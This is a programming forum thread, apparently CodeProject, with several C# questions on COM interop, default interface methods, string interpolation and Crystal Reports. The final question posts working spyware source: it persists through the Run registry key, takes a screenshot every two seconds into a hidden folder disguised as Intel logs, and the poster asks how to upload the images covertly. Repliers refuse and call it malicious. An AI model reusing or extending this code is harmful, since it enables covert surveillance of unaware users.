|
Thank you very much for this.
modified 19-Jan-21 21:04pm.
|
|
|
|
|
Hi,
I have to create .NET COM dll which will be used fro existing client applications.
So what I need is :
- create interface with SAME NAME AND GUID
- create class implementing this interface ann have SAME NAME AND GUID as one in c++
- client should not rebuild or recompiled (save compatibility)
Any help please
|
|
|
|
|
Extract the type library from your COM DLL. Use tlbimp.exe to import this typelibrary (it will create this as a separate assembly which you might want to reintegrate back into your code using a tool such as Reflector).
This space for rent
|
|
|
|
|
thank you for response but can you tell me how extracting tlb from c++ com because tlbExp not works
|
|
|
|
|
Really? Your first thought wasn't to go to Google for this[^]?
This space for rent
|
|
|
|
|
A Batch file to make it more easy to Register the COM visible assembly and create the tlb:
RegMyComVisible.bat
echo off
cd %~dp0
rem The following two path you Need to adjust to your needs
set regasm_tool= "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
set assembly= "C:\YourProject\YourComVisible.dll"
rem unregister previous version
%regasm_tool% %assembly% /u
rem Register actual Version and create a YourComVisible.tlb
%regasm_tool% %assembly% /codebase /tlb
pause
Make sure to run it as admin: Right Click RegMyComVisible.bat and select "Run As Admin".
I hope it helps.
modified 19-Jan-21 21:04pm.
|
|
|
|
|
But my COM dll is C++ dll and couldn't be registred as you say .
|
|
|
|
|
From the following as a potential new feature in C#
C# 8.0 Previewed[^]
As I understand it, which could very well be wrong, it works like the following
1. An existing class exists
2. Some other code 'adds' an interface to 1 via an extension modeling a method in that class.
Presumably the point of doing this in the first place is because one doesn't control the original class in the first place. So there is no control over how or when the original class might change.
Above works fine as long as the original class doesn't ever change, or at least the method doesn't. If it does then, presumably it results in a runtime failure of some sort.
Conversely other extensions would not normally suffer from this problem because they are additions only.
Probably not a problem as long as one's code base only contains a couple of these but if someone (or several someones) get carried away seems like a unexpected failure being coded in.
|
|
|
|
|
As I understood it, you have an Interface that you want to add something to.
public interface ISomething
{
void SomeMethod();
void NewMethod();
}
You can't add anything to the interface because this is a breaking change to all implementing classes of that interface. All the classes would be required to supply an implementation of the NewMethod.
This is where Interface Extensions come in. In order for this to work and not be a breaking change to all existing implementors, the new method signature in the Interface would have to supply a default implementation. The problem with this is that you can only use the terms of the existing Interface you're extending.
public interface ISomething
{
void SomeMethod();
}
public extension interface ISomethingEx : ISomething
{
void NewMethod()
{
... some default implementation;
}
}
I can see the up-side to this, but the downside is you're getting into what an Interface isn't, an implementation. I agree that this would be something that could easily be abused, making the code much harder to read, follow, and debug.
|
|
|
|
|
My biggest concern with that idea is that they blur the differentiation between an interface and an abstract class .
An interface used to be a pure abstract class (i.e. no implementation at all), so what's the difference now?
And the article also says that it is a way for multiple inheritance . Well, the Diamond of Death can be solved (so multiple inheritance could be a feature of the .Net world, as with unmanaged C++), but the article does not say anything about the solution used here.
And how will that be compatible with methods defined in two interfaces, with classes implementing both of them? When interfaces were pure abstract classes, that was no problem at all. And now?
|
|
|
|
|
I just discovered the "$" format operator:
Are there any performance or other issues using this
var fname = "Kevin";
var lname = "Marois";
var fullname1 = $"{fname} {lname}";
instead of this
var fname = "Kevin";
var lname = "Marois";
var fullname2 = string.Format(" ", fname, lname);
Thanks
If it's not broken, fix it until it is.
Everything makes sense in someone's mind.
Ya can't fix stupid.
|
|
|
|
|
The use of string interpolation really depends on how you're using it. The compiler is quite clever when using it. If you are just returning a string , the compiler will generally inline this into a string.Format. It also does some clever stuff if you are stuffing it into a FormattableString , it burns it out to a FormattableStringFactory.Create .
This space for rent
|
|
|
|
|
Thanks Pete
If it's not broken, fix it until it is.
Everything makes sense in someone's mind.
Ya can't fix stupid.
|
|
|
|
|
The issue with string interpolation is not performance. It's localization. A resource can contain a string with common placeholders, e.g. The result is {0}. , but it cannot contain references to variables. I.e. The result is {result}. is not possible with resource files for translation.
|
|
|
|
|
True, although you could use something like this[^] to generate a strongly-typed resource class with formatter methods that get you close.
So if you had a resource string called WelcomeMessage with a value of Hello, {name}! It's {date:D} today. , the tool would generate a helper method:
public static string WelcomeMessage(object name, object date)
{
return string.Format(CultureInfo.CurrentCulture, GetString("WelcomeMessage", "name", "date"), name, date);
}
The GetString method converts the named parameter placeholders to indexed placeholder:
private static string GetString(string name, params string[] formatterNames)
{
var value = _resourceManager.GetString(name);
Debug.Assert(value != null);
if (formatterNames != null)
{
for (var i = 0; i < formatterNames.Length; i++)
{
value = value.Replace("{" + formatterNames[i] + "}", "{" + i + "}");
}
}
return value;
}
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Interesting idea. I'll take a closer look at that.
|
|
|
|
|
But, if I define two strings as resources:
HelloThaiFromFemale "สวัสดี ค่ะ"
HelloThaiFromMale "สวัสดี ครับ"
I can easily use them like this:
string s1 = $"A male speaker of Thai will say { Resources.HelloThaiFromMale} as a greeting; a female speaker of Thai will say {Resources.HelloThaiFromFemale} as a greeting.";
«While I complain of being able to see only a shadow of the past, I may be insensitive to reality as it is now, since I'm not at a stage of development where I'm capable of seeing it. A few hundred years later another traveler despairing as myself, may mourn the disappearance of what I may have seen, but failed to see.» Claude Levi-Strauss (Tristes Tropiques, 1955)
|
|
|
|
|
Sawasdi khrap khun Bill,
that works because the Resource class offers compile-time constants. The problem arises with non-constant values.
Chok di!
|
|
|
|
|
i'am trying to print through Crystal-report a report with picture
that i attached.
i try this:
1. i add a picture object to the report.
<ol>
<li>format Object -> Picture -> Graphic location</li>
<li>i add my logo path: 'c:\LOGO\LOGO.jpeg'
Everything works fine in the report, only the image does not display.
i work on C# WinForm with Visual-studio 2010 + Crystal-Report
thanks
|
|
|
|
|
i want to build automatic number plate recognition system in c#. Can any one help me. Links,Data,Tutorials,Source code any kind of help?
|
|
|
|
|
Member 13114769 wrote: Links Here's[^] a great place to start. If I'm looking to research a new topic, I tend to use Google (less frequently Bing) to look for relevant information.
This space for rent
|
|
|
|
|
Neural network pattern recognition / machine learning.
CAPTCHA (solving).
"(I) am amazed to see myself here rather than there ... now rather than then".
― Blaise Pascal
|
|
|
|
|
Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.
Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!
Here is my code so far:
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
namespace chrome
{
static class Program
{
static void Main()
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch (Exception e)
{
Console.WriteLine("show1:" + e.Message);
}
int n = 0;
while (n == 0)
{
try
{
OnTimedEvent();
Thread.Sleep(2000);
}
catch (Exception e)
{
Console.WriteLine("show2:" + e.Message);
}
}
}
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1366, 768);
Size s = new Size(memoryImage.Width, memoryImage.Height);
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
}
}
}
|
|
|
|
|
This sounds like the sort of code I wouldn't like anywhere near my computer.
=========================================================
I'm an optoholic - my glass is always half full of vodka.
=========================================================
|
|
|
|
|
I have to agree with Chris - that sounds like malicious software, invasion of privacy, almost certainly illegal in many countries.
We do not condone, support, or assist in the production of malicious code in any way, form, or manner. This is a professional site for professional developers.
If you want to know how to create such things, you need to visit a hacking site: but be sure to disable all firewalls and antivirus products first or they won't trust you enough to tell you.
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
AntiTwitter: @DalekDave is now a follower!
|
|
|
|